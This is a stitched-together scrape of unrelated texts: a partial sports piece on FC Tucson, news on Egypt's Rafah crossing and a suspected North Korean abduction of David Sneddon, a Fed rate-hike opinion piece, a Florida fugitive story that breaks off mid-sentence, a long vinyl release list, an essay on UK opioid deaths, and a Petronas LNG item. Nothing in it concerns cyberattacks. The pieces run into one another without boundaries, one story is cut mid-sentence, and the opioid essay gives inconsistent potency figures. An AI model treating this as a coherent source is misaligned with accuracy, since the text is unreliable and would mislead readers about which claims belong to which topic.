There are also upcoming scrimmages against Sporting Kansas City and Real Salt Lake. Both teams were strong contenders for MLS Cup last season.
Kansas City, unlike New England, doesn't have any questions about who will bring the goals. C. J. Sapong, Teal Bunbury and Kei Kamara gave defenses fits all last season, a fact not lost on Schantz.
"If all three forwards play, we are up against it."
RSL will make for another tough opponent.
"Salt Lake is the most attractive, quick passing team in the league. They could pick us apart."
There would be no shame in losing to any of those teams. After the performance against the Revs, how does Schantz think FC Tucson will do when the PDL season starts?
"I think we'll win more than we'll lose," he said.
- 30 -This article is from the archive of our partner.
In a break from the policies of ousted President Hosni Mubarak, Egypt's military rulers have decided to permanently open the country's Rafah border crossing with Gaza on Saturday in an effort "to end the status of the Palestinian division and achieve national reconciliation," according to Egypt's official news agency, the Middle East News Agency, via the AP. Mubarak had previously restricted the movement of people and goods along the border (pictured above, during Palestinian protests in May) as part of a blockade Israel and Egypt imposed on Gaza after Hamas took control of the territory in 2007.
The AP notes that while most cargo passes through Israel's border with Gaza, the move is still significant because it gives Gaza's Palestinians "a way to freely enter and exit their territory" for the first time since 2007. What's more, the decision might increase tensions with Israel, and must be considered in the context of Egyptian-Israeli relations following Egypt's January 25 uprising. In an interview with The Sydney Morning Herald today, Hossam Zaki, a senior adviser to the Egyptian Foreign Minister, said that Egypt's 1979 treaty with Israel remained a pillar of Egyptian foreign policy but that presidential and parliamentary elections later this year could imperil the relationship. "My sense is that if Israel continues to ignore international calls for achieving peace on a just basis, and allowing the Palestinians to establish their state, there will be more and more bitter and negative feelings towards Israel, and the difference now, after January 25 is that no government in Egypt will be able to ignore those feelings," he said.
This article is from the archive of our partner The Wire.
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.David Sneddon, photographed at a training center in 1999. Now, allegations have resurfaced that he was kidnapped from China by North Korea in 2004. (Courtesy of the Sneddon Family)
Even by the standards of strange tales that come out of North Korea, this one is particularly bizarre.
Did Kim Jong Il’s regime order the abduction of an American in 2004 so his children could learn English? Did North Korean agents, with the help of Chinese officials, snatch a student who had been hiking near the border with Burma?
Yes, or at least probably, if his parents, a South Korean abductees’ advocate and human rights proponents are to be believed. No, if you’re talking to American officials.
But Choi Sung-yong, president of the Abductees’ Family Union in Seoul, says he has information placing the American man, David Sneddon, in Pyongyang. Now 36, Sneddon goes by the Korean name Yoon Bong Soo. He is married to a woman named Kim Eun Hae and they have two children, a boy and a girl, Choi said, citing evidence from an informant in Pyongyang.
Sneddon was taken to Pyongyang because Kim Jong Il had given an order for his children — including the state’s current leader, Kim Jong Un — to be tutored in English by a native speaker, someone who could also teach them about American culture. “He’s a similar age to the Kim children,” said Choi, who devotes his days to trying to find out what happened to the missing.
The tale starts when Sneddon, a 24-year-old Brigham Young University student who had completed a two-year Mormon mission to South Korea, was wrapping up a semester studying Chinese in Beijing in the summer of 2004. He had learned Korean and was planning to take a Chinese language class in his senior year at BYU.
[North Korea sentences U-Va. student to 15 years of hard labor in prison]
“He’d gone to Beijing that summer to get a head start in Mandarin,” his father, Roy Sneddon, said. “His course work was done, so he said he was going to take a look around some touristy spots in southeast China before he came back.”
David Sneddon had been walking on an easy path in the Tiger Leaping Gorge, a scenic area in Yunnan province that borders Burma, also known as Myanmar. He’d been to a Korean restaurant called the Yak Bar. And then, he disappeared.
His parents thought that their son, one of 11 children, had been detained by Chinese authorities. Roy Sneddon and two of David’s brothers went to the area to investigate but found nothing beyond a suggestion that he had slipped in the gorge and died.
The case went nowhere until four years ago, when David’s parents received a phone call from a man in South Korea who said he’d heard of a man fitting their son’s description who was living in Pyongyang.
The Sneddon family had not considered the possibility of North Korean involvement.
But on reflection, there had been a strange incident. David had been approached in a supermarket in Beijing by a Korean woman who said her children weren’t speaking enough Korean in China, and would he mind tutoring them?
And one of David’s mission friends had been working in Yanji, a city near China’s border with North Korea that has become a first transit point for people escaping. Was the Korean mother laying a trap? Had David or his friend been helping North Koreans escape?
[North Korea sentences former Va. man to 10 years of hard labor]
“He had been associated with Koreans in two different ways,” Roy Sneddon said in a phone interview from Utah. “The conclusion that we drew was that David had been taken, or kidnapped, if you will.
“We thought that his background and his language was one of the reasons for it.”
Every now and then over the past few years, some Japanese newspapers would raise the possibility that David had been abducted by North Korea, an idea some in Washington saw as part of a Japanese effort to get the U.S. government to pay more attention to North Korea’s abductions of Japanese citizens.
During the 1970s and 1980s, apparently under the orders of Kim Jong Il, who was then North Korea’s heir apparent, an unknown number of people were abducted and taken to North Korea.
At least 17 Japanese nationals were kidnapped, usually from remote spots on the west coast, and taken to Pyongyang, apparently to train spies in Japanese language and culture.
A famous South Korean film director and a celebrated actress were picked up on orders by Kim, a movie buff.
Along the way, Thai, Romanian and Lebanese women were abducted. The Romanian, Doina Bumbea, was taken in 1978 and not seen again until 2007, when she was spotted in a documentary about James Dresnok, an American soldier who defected to the North after the Korean War and was married to her.
But there has never been an incident in which an American was abducted. (Although in recent years, Pyongyang has made something of a habit of detaining visiting Americans. Two people — University of Virginia student Otto Warmbier and Korean American missionary Kim Dong-chul — are currently being held.)
Now, Choi, of the abductees’ association, said he was “50 to 70 percent” confident about the information he had from Pyongyang. Choi has a track record when it comes to finding out about abductees: He was the one who first heard about Kim Young-nam, a South Korean who was also kidnapped by the North and had been married to Megumi Yokota, a Japanese woman abducted as a schoolgirl.
But the State Department has not raised the case with the North Korean diplomats stationed at the United Nations, a senior administration official said. Nor has it asked the Swedish diplomats in Pyongyang, who represent American interests in North Korea, to take up the case there.
“There is no evidence that we’ve seen that indicates that he was abducted,” the official said, although he conceded that there was no evidence that any of the Japanese had been abducted, either.
Indeed, experts said the case shouldn’t be quickly dismissed. It was “certainly possible” that Sneddon had been taken, said Robert Boynton, author of “The Invitation-Only Zone: The True Story of North Korea’s Abduction Project.”
“Every time I find myself ruling it out, I realize that there is no more or no less evidence on Sneddon’s disappearance than there was on the Japanese circa 1995,” Boynton said. “It was all circumstantial.”
[Japan calls for international help as North Korea stonewalls on abductions]
Boynton, whose book focused on the Japanese abductees, cautioned against dismissing the idea because it didn’t make sense.
“Why would anyone do this? Why would anyone go to such lengths to get something as simple as an English teacher? But North Korea has done this before,” he said, with the Japanese abductees who worked as language teachers in Pyongyang.
Greg Scarlatoiu, executive director of the Committee for Human Rights in North Korea, said he was also inclined to believe that Sneddon was abducted.
Scarlatoiu noted the tense environment at the time. There was close cooperation between North Korea and nearby Burma — Pyongyang had reportedly been selling arms to the Burmese junta — and North Korean agents could have been operating in the area.
The U.S. House of Representatives had just passed the North Korean Human Rights Act, highlighting the nation’s human rights abuses and offering assistance to anyone who escaped it. Plus, the biggest group of defectors to date – a group of 469 North Koreans – had just arrived in South Korea from Vietnam.
“The North Koreans were extraordinarily upset,” Scarlatoiu said. “I wonder if our own U.S. government agencies could look into opening an investigation.”
Read more
North Korea defied world with nuclear test. Now it seeks aid for flood disaster.
After nuclear test, a new push to stop North Korea from sending workers abroad
With each test, N. Korea inches closer to being able to send a nuclear-tipped missile to the U.S.
Today’s coverage from Post correspondents around the worldChances are that nobody involved in Fed policy decision making stood on any lines for bargains over the Thanksgiving weekend. But if monetary policy rises and falls based on specific economic data as it did with last month’s employment report, then surely the results of this pre-holiday shopping weekend will be meaningful. Black Friday, Small Business Saturday and Cyber Monday are the make or break blockbuster consumer spending events of every retailer business plan, so if holiday sales are below forecast, the odds of a Fed Funds rate hike in December should soften.
Consumer spending accounts for two-thirds of US economic output and growth was below forecast as recently as last month (following a similarly below forecast September report). If Black Friday turns out to be another below forecast consumer spending bust, will Wall Street odds makers change the betting line for a December lift-off as they did with the employment report at the beginning of November?
The idea that specific economic data can muscle Fed policy into action runs counter to managing economic trend and one strong employment report is not an economic trend. Especially if it is book ended with inflation indices stubbornly below target and the housing markets struggling for terra firma (Existing Home were sales down 3.4% in October after having been up 4.7% in September after being down 4.8% in August). Even consumer confidence is down (University of Michigan consumer sentiment index down to 91.3 from 93.1 in September), and it seems the only economic indicator that is steadily increasing is the personal savings rate (up 0.1%) as people are stashing their cash in the face of lingering uncertainty.
But smack dab in the middle of all of the on-again-off-again-is-the-economy-strong-enough conversation we get a single bone fide healthy employment report and certainty crushes uncertainty. Rock, paper, scissors, same high level reasoning.
ShopperTrak is projecting preliminary estimates of in-store sales to be below last year’s Black Friday results, while RetailNext pegs the decline at 1.5%. The good news from tracking some 4,500 retail websites, is that software giant Adobe is reporting online sales to be up 18%. We will have to wait to see more big data over the next few days to measure overall Thanksgiving holiday sales results, but nobody is expecting any chartbuster surprise increase over last year.
So if Black Friday and Small Business Saturday and Cyber Monday fail to deliver the kind of consumer spending results that the heavily weighted employment report delivered, then the countdown for a December lift-off will surely be aborted. Only if financial prognosticators can somehow close one eye so as not to see any suspect in the economic strength reasoning and peek out through the other eye just enough to see that employment report, then a December lift off may still be in the offing.
The economic data is what it is and when viewed collectively, the case for a foundation strong enough to weather the march toward higher interest rates at this point in time, does not hold up to cross examination.
FOMC meeting minutes from October stressed that the decision to begin “normalization” of interest rates would depend on economic data released during the October to December intermeeting period. Chair Yellen cited consumer spending as the primary driver of the US economy and a lackluster holiday buying result is not the lift-off fortification that the Fed is “envisioning.”
In fact, Chair Yellen stated that “our decision will not hinge on any particular data release or on day-to-day movements in the financial markets. Instead, the decision will depend on a wide range of economic and financial indicators and our assessment of their cumulative implications for actual and expected progress toward our objectives.”
OK so a Black Friday bust may not be a big enough stand-alone economic event to stall a December rate hike, but neither was that over traded employment report for October a done deal confirmation that a rate hike is imminent. As a matter of fact, the “cumulative implications for actual and expected progress,” do not add up to lift-off when the FOMC meets again, and less than hoped for Black Friday results will present strong evidence that consumer spending and the overall US economy are still not firing on all cylinders.
If you do the math, the answer appears to be no rate hike until sometime next year.A man being sought for arrest escaped deputies for nearly three hours, evading the law by ramming fences and breaking into multiple homes — even taking a break to stay hydrated by stealing Capri Sun juice pouches, according to an arrest report.
Deputies eventually apprehended Donald Howard, 43, on Wednesday.
It all started when deputies from the Palm Beach County Sheriff's Office stopped at Howard's house, in the 4100 block of South Haverhill Road in Lake Worth, to arrest him. According to an arrest report, he was wanted on warrants for three misdemeanors and three felonies.
Howard was in the driveway working on his car, deputies said, but when he looked up and saw who was paying him a visit, he slammed the hood shut, jumped in the car and took off.
"I have to leave," he yelled at deputies before peeling out into his backyard and through his neighbor's wooden and chain link fences.
Moments later, he bailed from the car and the chase continued.
Darting over fences, Howard managed to escape the deputies. A neighborhood-wide search was on for Howard, which included the Sheriff's Office aviation unit, K-9 officers, 20 additional deputies and five officers from the Greenacres Police Department.
Howard, making his way down the street, found an unoccupied house less than 1/4-mile away, deputies said. He broke in and stuffed a duffel bag full of jewelry and electronics.
He also helped himself to a clean shirt — leaving his sweaty one on the bedroom floor, deputies said.
Before leaving, he took three Capri Sun juice pouches out of the refrigerator and drank them, discarding them on the back porch.
He was thirsty, he later told deputies, because he had smoked crack cocaine all day.
From there he jumped a few more fences, leaving behind a trail of |
and the Pit -Electronic Cues – 10″
OST : Quatermass and the Pit – Score – LP
OST : I LOVE YOU ALICE. B TOKLAS – LP
OST : Blacula – 1LP
OST : Legend of 1900..-HQ- – LP
Otoboke beaver : love Is Short – 7″ EP
Pal Joey : #3 Spend The Night / Flight 801 – 12″ 180g Vinyl
PAT THOMAS : MARIJATA – LP
Patti Smith : Hey Joe (Version) / Piss Facto – Limited 1 x 40g 7″ Black vinyl
Paul McCartney : Flowers In The Dirt- Demos – MC Single
Pauw & Mystery Jets : Bubblegum/High Tide – Slit LP
Pearl Jam : State Of Love & Trust / Breath – 7″ Vinyl
Penguin Cafe & Cornelius : Umbrella EP – LP
PENTANGLE : FINALE…an evening with – 3LP
Peter Baumann / Conrad Schnitzler : Split – 12″
PETER HOOK & THE LIGHT : CLOSER – LIVE IN MANCHESTER VOL. 1 – LP
PETER HOOK & THE LIGHT : CLOSER – LIVE IN MANCHESTER VOL. 2 – LP
PETER HOOK & THE LIGHT : MOVEMENT – LIVE IN DUBLIN VOL. 1 – LP
PETER HOOK & THE LIGHT : MOVEMENT – LIVE IN DUBLIN VOL. 2 – LP
PETER HOOK & THE LIGHT : POWER CORRUPTION AND LIES – LIVE IN DUBLIN VOL. 1 – LP
PETER HOOK & THE LIGHT : POWER CORRUPTION AND LIES – LIVE IN DUBLIN VOL. 2 – LP
PETER HOOK & THE LIGHT : UNKNOWN PLEASURES – LIVE IN LEEDS VOL. 1 – LP
PETER HOOK & THE LIGHT : UNKNOWN PLEASURES – LIVE IN LEEDS VOL. 2 – LP
PETER HOOK & THE LIGHT : UNKNOWN PLEASURES – LIVE IN LEEDS VOL. 3 – LP
Peter Schilling : Major Tom – Limited 1 x 42g 7″ picture disc
Phil Campbell and The Bastard Sons : Phil Campbell and The Bastard Sons – LP
Phil Odgers : Roll To The Left – LP
Pink Floyd : London 1966 / 1967 – LP
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Placebo ft David Bowie : Without You I’m Nothing – V12
POLIÇA : Lipstick Stains / Still Counts AA – 7″
Popol Vuh : Cobra Verde (Original 1987 Motion Picture Soundtrack) – LP (Green Vinyl)
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Pretty Things, The : The French EP’s 196-1969 – 5 x 7″ Single
Priests : Early Recordings – LP
Primal Scream : Mixamatosis – 12″
Prince : I Wish U Heaven – 1 x 140g 12″ Black vinyl single
Prince : Batdance – 1 x 140g 12″ Black vinyl single
Prince : Sign ‘O’ The Times – 1 x 140g 12″ Black vinyl single
Prince : I Could Never Take the Place of your Man – 1 x 140g 12″ Black vinyl single
Prince : Partyman – 1 x 140g 12″ Black vinyl single
Prince : Little Red Corvette / 1999 – 7″ Picture Disc
Prince and The Revolution : Pop Life – 1 x 140g 12″ Black vinyl single
Procol Harum : A Whiter Shade Anniversary EP – 12″
Proper Ornaments, The : Wooden Head – LP
Proper Ornaments, The : Waiting for the Summer – LP
Psychic Tv : Fishscales Falling – A Smorgasbord of Delights – Mixtape Vol 2 – 12″
Puccio Roelens : LA MUSICA DI PUCCIO ROELENS – LP
“R.L. Burnside
” : Long Distance Call: Europe, 1982 – LP
Raincoats, The : Fairytale In The Supermarket EP – 7″
RAM Trilogy : RAM Trilogy Chapters 1 to 6 – LP Box Set
Ramones : Ramones Singles Box – 10 x 43g 7″ Black vinyl singles box
Randy Newman : Studio Albums 1968 – 1977 – 5LP Set
Reaction : Old School Rules EP – CD EP
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Red Hot Chili Peppers : Go Robot / Dreams Of A Samurai – 12″
Remarc : R.I.P / Ice Cream & Syrup – 12″ only
Residents, The : Diskomo Goosebump EP (expanded) – 1LP
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Robb Johnson : The Beautiful Dark – 10″
Robert Johnson : The Centennial Collection – x3 LP Vinyl
Rodney P : Untitled – 7″
Rosie Crow : Can’t Follow – 7″
Royal Philharmonic Orchestra, Tolga Kashif : The Queen Symphony – LP
“Ruben Vine
” : The Life and Times of An Imaginary Rock Star – LP
RUSH : Cygnus X-1 – 12″
Ryo Kawasaki : Selected Works Part 2 – 1976 to 1980 – 1LP Picture Sleeve with LTD Edition Poster
Saltfen / Siah : You Flexi Thing Vol 2: Awkward Squid – 7″
Sam Gopal : Escalator – LP
Santana : Woodstock 1969 – LP Vinyl
Saxon : Into The Labyrinth – Picture Disc
Say Sue Me : Say Sue Me – 7″ EP
Sex Pistols : God Save Sex Pistols – 1LP
Sharon Jones & The Gospel Wonders : Heaven Bound/Key To The Kingdom – 7″
SHIRLEY COLLINS : Shirley Sings Irish – 7″
Shit Girlfriend : Mummys Boy/ I Don’t Wanna Die – 7″ Colour Splattered vinyl
Shocking Blue : At Home – 1LP
Sia : This is acting (Spotify Sessions) – LP Vinyl
Sisterhood : Tunnels (Bicep rmx) / Believe (Tin Man Rmx) – 10″ Vinyl
Slaughter & The Dogs : Cranked Up Really High – LP
Slaves : Take Control – LP
Slick Rick : The Great Adventures Of…Children’s Book – 7″/Book/CD
Small Faces, The : In Session At The BBC 1965-66 – 2LP
Small Faces, The : Broadcast 66 EP – 7″
Smiths, The : The Boy With The Thorn In His – 1 x 43g 7″ Black vinyl (dinked)
Snapcase : Lookinglasself – LP
SOLITUDE AETURNUS : ADAGIO – DLP
SOLITUDE AETURNUS : ALONE – DLP
SOLITUDE AETURNUS : IN TIMES OF SOLITUDE – DLP
Sonz Of A Loop Da Loop Era : Far Out – 12″ only
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Soulnaturals : Love Says Yes – LP
Soulwax : Belgica (An original soundtrack by Soulwax) – Double 12″
Southside Johnny & Asbury Jukes, The : Live From E Street – LP (12″)
Spacemen 3 : For All The Fucked Up Children – LP
Spacemen 3 : Recurring – LP
Spacemen 3 : Playing With Fire – LP
Spencer Davis Group, The : Rambling Rose EP – 7″
Spencer Morales feat Randy Roberts : Without Your Love (Kenny Dope / Sean McCabe / Spen & Thommy Remixes) – 12″ Orange Coloured Vinyl
SPIRITS BURNING & DAEVID ALLEN : THE ROADMAP IN YOUR HEART (RSD) – 7
SPOON : HOT THOUGHTS – 12″
Stephanie Kirkham : Easy As 1-2-3 – 7″
Stevie Nicks : Rarities 12″ – 1 x 12″ Black single, 6 track EP.
Sting : Live At the Bataclan – LP
Stooges : Heavy Liquid – 2xLP
Sublime : Sublime – Badfish EP – 12″
Sugar : Copper Blue (25th Anniversary Edition) – 3LP
Sun Ra : Hello Mr. Schimmel – 7″
Sun Ra : Discipline 27-11 – LP
SunPalace : Rude Movements (Part I & II) – 7″
Super Furry Animals : International Language Of Screaming – 7″ coloured vinyl
Superchunk : Cup Of Sand – 3LP
Susan Phillips : Soft Sexy Soul – 12″ LP
Suuns : Hold/Still Remixes – Double LP
Suzanne Ciani : Fish Music – 7″
Swet Shop Boys : Sufi La – EP
T. Rex : Electric Warrior – LP
T. Rex : Rock N Roll E.P – 7″ E.P
T.I. : I’m Serious – 2LP
Television Personalities : And Don’t The Kids Just Love It – LP
Television Personalities : Mummy You’re Not Watching Me – LP
Television Personalities : The Painted Word – LP
Television Personalities : They Could Have Been Bigger Than The Beatles – LP
Temperance Movement, The : Ziggy Stardust / White Bear – 7″
The Orchestra of Syrian Musicians & Guests, The : Africa Express presents… The Orchestra of Syrian Musicians & Guests – 2LP
THE THE : You Can’t Stop What’s Coming – 7″
Thelonius Monk : ‘Les Liasons Dangereuses, 1960’ – 2LP BOXSET
Thomas de Hartmann : The Music of Gurdjieff / de Hartmann – 5LP
Thrice : Sea Change / Black Honey – 7″
Thunder : Live At The Gibson Showroom (title tbc) – V12
Tim Burgess & Peter Gordon : Around EP – 12″
Time Zone feat Afrika Bambaataa & John Lydon : World Destruction – Complete Mixes – 12″ Vinyl
Time, The : What Time Is It? – 1 x 140g 12″ Green vinyl album
To Kill a King : The Problem of Evil (Live Acoustic Version) / I Need my Girl (Cover of The National) – 7″
Toto : Africa / Rosanna – Africa-shaped picture disc
Townes Van Zandt : Live At Austin city Limits – LP
Toy & Rose Elinor Dougall : The Half Remarkable Question/ Rise, Rise – 10″
TOYDRUM : God Song (Frank Wiedemann Remix) – 12″
Trans Am : California Hotel – LP
Trembling Bells / Alex rex : The Auld Triange – 10″ LP
Trevor Jones : The Dark Crystal: Original Soundtrack – LP
Turtles, The : The Albums Collection – 6LP
U2 : Red Hill Mining Town 2017 Mix – 12″ Pic Disc
Uk Subs : Live & Loud (aka Greatest Hits In Paris) – LP
UNLEASHED : HELL’S UNLEASHED – LP
UNLEASHED : HELL’S UNLEASHED (RED VINYL) – LP
UNLEASHED : WARRIOR – LP
UNLEASHED : WARRIOR (CLEAR VINYL) – LP
Uriah Heep : Live 1973 – 2 x 12″ spatter
U-Roy : Dread In A Babylon – LP
V/A : AC!D Revolution – 12″ 6 track EP
VA / Soul Jazz Records Present : SOUL 70 7″ Box Set – 7″ BOXSET
VA / Soul Jazz Records Present : STUDIO ONE Hi-Fi Special 7″ Collectors Box Set – 7″ BOXSET
VA / Soul Jazz Records Present : NIGERIA SOUL POWER 70 BOX SET: Afro-Funk Afro-Disco Afro-Rock – 7″ BOXSET
Vangelis : Blade Runner – 1 x 140g 12″ picture disc
VANISHING TWIN : DREAM BY NUMBERS EP – 10″
Various : Classic 45s – Country – 10x 7″ Single
Various : Classic 45s – 70s Rock – 10x 7″ Single
Various : Classic 45s – Peace and Love – 10x 7″ Single
Various : Test Card Grooves – 10″
Various : Scared To Get Happy – Double LP
Various : The Rough Guide To Bollywood: The Psychedelic Years – LP
Various : Greater Manchester Punk Vol 2- Now We Are Heroes 1978-82 – LP
VARIOUS : SHARON SIGNS TO CHERRY RED – LP
Various : Anarchy! McLaren Westwood Gang – Dbl DVD & 7″ Box Set
Various : Soho Scene 61 Jazz Goes Mod – LP
Various : Soho Scene 65 Jazz Goes Mod – LP
Various : Mighty R&B Instrumentals Two-Parters – LP
Various : Texas Soul 66 – LP
Various : New Orleans Soul 66 – LP
Various : New York Soul 66 – LP
Various : Soul Transfusion – LP
Various : Function Underground:The Black & Brown American Rock Sound 1969-1974 – LP
Various : Like Nashville In Naija: Nigeria’s Romance with Country Music, Yesterday and Today – 2LP
Various : Greater Manchester Punk Vol 2 – LP
Various : Here Comes The Night Owl – 12″ LP
VARIOUS : CIAO! MANHATTAN (OST) – LP
VARIOUS ARTISTS : GIRLS IN THE GARAGE VOLUME 10 – LP
Various Artists : Close To The Noise Floor – Double LP
VARIOUS ARTISTS : THE MAGIC CUBE – 10″
VARIOUS ARTISTS : GIRLS IN THE GARAGE VOLUME 9 – LP
Various Artists : I’m Not From London: A Decade Of Distortion – LP 12″
Various Artists : House Of Joy – 7″ Box Set
Various Artists : Diggin’ Disco Deep # 5 RSD – 12″ White Vinyl With Sticker
Various Artists : Psychic Migrations Original 1987 motion picture Soundtrack – 2LP
VARIOUS ARTISTS : Salsoul ReEdits Series One: Dimitri From Paris – 2 x 12″
VARIOUS ARTISTS : Salsoul ReEdits Series Two: Danny Krivit – 2 x 12″
VARIOUS ARTISTS : The West End Story – 2 x 12″
VARIOUS ARTISTS : LPHRSD17 – 10″
Various Artists : Ethiopiques Box – 7″ boxset (6 x 7″)
Various Artists : The Soul of Disco. Volume 2 – LP
Various Artists : Southwest Side Story – LP
Various Artists : Motown Funk – 2LP
Various Artists : Northern Soul: 20 Original Classics – 2LP
Various Artists : Oxfam Presents: Stand As One- Live At Glastonbury 2016 – 2 x 12″ Coloured vinyl albums
Various Artists : Insane Times – 21 British Psychedelic Artyfacts From Parlophone And Associated Labels – NEW – Confidential! 2 x splattered LPs. RSD 2017.
Various Artists : Pineapple Express (Original Motion Picture Soundtrack) – 2 x LP (12″)
Various Artists : Psyche France Vol. 3 – 1LP
Various Artists (Ed Banger) : Let The Children eat Techno – 2LP + CD
Various Artists Nuggets: Come To The Sunshine: Soft Pop : Come To The Sunshine: Soft Pop from the Nuggets: Come To The Sunshine (Soft Pop Nuggets From The WEA Vaults) – 2 x 180g 12″ colour (tbc) vinyl album
Various: WAYNE COUNTY & THE BACK STREET BOYS; THE FAST; HARRY TOLEDO; CHERRY VANILLA & HER STATEN ISLAND BAND; THE JOHN COLLINS BAND; SUICIDE; PHILIP RAMBOW; NEW YORK DOLLS; THE STILETTOS; THE KNOTS; THE SENDERS; JIMI LALUMIA & THE PSYCHOTIC FROGS’; THE BRATS; THE OFFS; VON LMO; TERRORISTS; NICO; IGGY POP; JOHNNY THUNDERS & THE HEARTBREAKERS; SID VICIOUS. : Max’s Kansas City 1976 & Beyond – Jungle Records
Velvet Hands : Sick of Living – 7″
VENOM : AT WAR WITH SATAN – 12PD
VENOM : BLACK METAL – 12PD
VENOM : WELCOME TO HELL – 12PD
Vic Chesnutt : West Of Rome – 2LP
Victoria Williams : Victoria Williams & The Loose Band ‘Town Hall 1995’ – LP
View, The : Hats Off To The Buskers (10th Anniversary Edition) – 1LP
Walter Lure & Waldos, The : Live In Brooklyn – LP (12″)
Warzone : The Victory Years – LP
Wedding Present, The : The home internationals E.P. – 12″
Wes Montgomery with the Wynton Kelly Trio : Smokin’ in Seattle: Live at the Penthouse (1966) – LP
White Buffalo, The : I Got You / Don’t You Want It – 7″
White Zombie : Gods on Voodoo Moon – 7″
Who, The : Quadrophenia – 2LP
Wild Willy Barrett’s French Connection : A Mange-Tout Far – LP
Wiley : Godfather – Double LP
Wishbone Ash : Illuminations – 12″ x2
WITCHFINDER GENERAL : DEATH PENALTY – 12PD
WITCHFINDER GENERAL : FRIENDS OF HELL – 12PD
Worry Dolls : Go Get Gone – LP
Yabby You : Songs Of love and Unity – 7″ Box
Yes : 90125 – Limited 1 x 12″ picture disc album
Zombies, The : Broadcast 66 EP – 7″
Zombies, The : I Want You Back Again – 7″THE opioid crisis in the United States has taken over media reports this past year with CNN running several major stories that profile parents and couples overdosed in their automobiles with children in the back seat.
These images strike straight to the heart as one feels immediate disgust and outrage about the harm potentially posed to children with a combination of empathy towards the parents who are themselves victims in a larger big pharma-fabricated addiction crisis. And often one is left wondering, “What is wrong in the United States?”
The problem is that despite the British media reports of grandparents raising their orphaned grandchildren, the many stories relating this matter to Prince’s untimely death, and Louis Theroux’s investigation into the heroin crisis in Huntington, West Virginia, the sad fact is that Theroux could have stayed back home and made his film.
What he calls “America’s love affair with prescription painkillers [which] has led to widespread dependency on opiates” is very much a problem in the United Kingdom, albeit with a twist.
According to the European Monitoring Centre for Drugs and Drug Addiction (EMCDDA) annual report for 2016, the UK is currently the number one country in the EU for drug overdoses with approximately one in three of the EU’s overdose deaths.
As in the US these deaths are mainly related to heroin and other opioids. And like the US there is a connection between how illegal drugs like heroin are the result of a reckless opioid drug market and medical industry.
Yet, despite the evidence of record drug overdoses in the UK, an investigation by the Guardian found that 11 local councils in England made average cuts of 17 per cent to drug treatment services (£15m in total).
Detailing how seven people died of drug overdoses in Barnsley in the first half of 2017, the Guardian reports that “the council cut its drugs and alcohol services budget by more than a third between 2015-16 and 2016-17.” And many of these deaths are not from heroin alone but Fentanyl and even a mixture of the two.
So while, on the one hand, we are told that the opioid crisis is an “American problem,” the reality is it’s anything but. And some publications are well aware of this fact.
While deaths from synthetic opioids such as Fentanyl, a drug 100 times more powerful than morphine, rose by 1,125 per cent between 2000 and 2015, the deaths from all opioids rose 294 per cent.
Like the rise of Oxycodone in the US, Fentanyl in Britain has become that ground zero drug through which individuals have been made dependent upon a powerful opioid, driving these individuals to crime, impoverishment, and even death.
Even if one were to be a functioning addict, as many are, the risks to one’s employment are well-documented as well as to the ability to function day to day — from the inability to sleep, to meeting one’s economic obligations, to being disqualified from home or personal loans.
Yet survival is not a luxury when overdose comes into the picture: for the first eight months of 2017 in the UK 60 deaths were linked to Fentanyl.
Conversely the fact is that the greatest link to opioid addiction is unemployment. In a study published by the US-based National Bureau of economic Research (NBER) earlier this year, it reports that as the unemployment rate increases by one percentage point in any given county, the opioid-death-rate rises by 3.6 per cent and emergency-room visits by 7 per cent.
And this is not the only study to provide such correlations as a Princeton labour economic Alan Kruger demonstrates. There are huge links, we are currently learning, between deaths brought on by joblessness, hopelessness, homelessness, as well as physical and emotional pain.
Unlike the United States where the pharmaceutical lobby has actively recruited future opioid addicts since the 1990s, Britain’s medical system is vastly different such that prescriptions are better managed.
Yet despite having five times the population of Britain, the United States only has twice the number of heroin addicts.
A cursory glance over the prices of street heroin tell this story clearly as one gram sells for $60-90 (around £40-£60) in Britain compared to $200-450 (£133-£298) in the US.
Add to this equation the availability of methadone within the NHS and the availability of street valium for £1 a pop, the use of opioids overall is clearly less than that of street drugs in Britain.
Yet the fact that British drug users are not opting for the stronger opioid painkillers as they are in the US, with the exception of Tramadol and codeine, does not mean this trend will continue.
The fluctuating costs of street drugs can change this reality at any moment. Also Britain has had its problems with methadone deaths in the past, a crisis that many experts thought worsened the landscape of addiction rather than improving it.
In the UK deaths from heroin and morphine have more than doubled over the past three years. In 2015, 2,479 people died in England and Wales because due to illegal drug use with a rise of 10 per cent from the previous year.
A total of 3,674 people died from legal and illegal drug use in 2015, the highest since records began in 1993. 2015 was also the year that saw Fentanyl, a synthetic opioid which is 50 time more potent than heroin, kill 58 people in Britain.
Then in 2016 3,744 people were killed in England and Wales with 1,209 of these deaths being uniquely heroin and morphine. Also last year MDMA killed 63 and cocaine killed 371, total increases of 103 per cent and 167 per cent respectively from 2012. This is a record high for drug deaths in the UK.
And there is every reason to believe given the partial statistics for 2017 that deaths from Fentanyl will likely be far higher for 2017 than ever before.
The Guardian reports that most of the overdose deaths were accidental, the ONS said, while others were a result of suicide or mental and behavioural disorders caused by drugs.
And more than half of all deaths involved an opiate, such as heroin or morphine, followed by antidepressants, benzodiazepine, cocaine, paracetamol, and amphetamines.
What drives people to take these drugs? Usually the story goes like this: patients are prescribed strong opiates in response to an illness or accident, the opiates are eventually either not enough or the prescription comes to a sudden end due to a doctor’s intervention in shutting down future prescriptions or medical insurance fails to pay due to limited coverage on opioid prescriptions and the refusal to cover alternative non-opioid treatments.
Dependent upon pain relief, these individuals are forced to turn to other drugs just to manage their pain.
But what, precisely, is the pain to be managed? From all reports on this epidemic, we are seeing that much of the pain is not at all physical but instead emotional and very much linked to unemployment where depression and pain have become symbiotic agonies.
In other words, not only does depression make people more sensitive to pain but opioids have been shown to help relieve the symptoms of depression.
Clearly, this cultural tragedy requires more research, especially that related to the social sciences. As studies already demonstrate, the origins of this crisis are much more deeply rooted in lack of community and capitalism than in any somatic illness or bodily demand.
What if it is not the amount of money one does not have, but rather the measure of human worth created through money in a society largely disembowelled by a fragmented, virtual reality which serves a surrogate for the social, as the masses, rich and poor, are largely driven down by debt, further fuelling this cycle of pain and dependency we are currently witnessing?Malaysian state-owned energy company Petronas is threatening to pull out of a liquefied natural gas project on the north coast of British Columbia, the Financial Times reported Thursday.
The newspaper said Petronas chief executive Shamsul Abbas was ready to call off the $10-billion project amid a delayed regulatory approval process, plans by the provincial government to impose an LNG tax and a "lack of appropriate incentives."
"Rather than ensuring the development of the LNG industry through appropriate incentives and assurance of legal and fiscal stability, the Canadian landscape of LNG development is now one of uncertainty, delay and short vision," Abbas told the Financial Times.
Abbas is expected to visit Canada later this week.
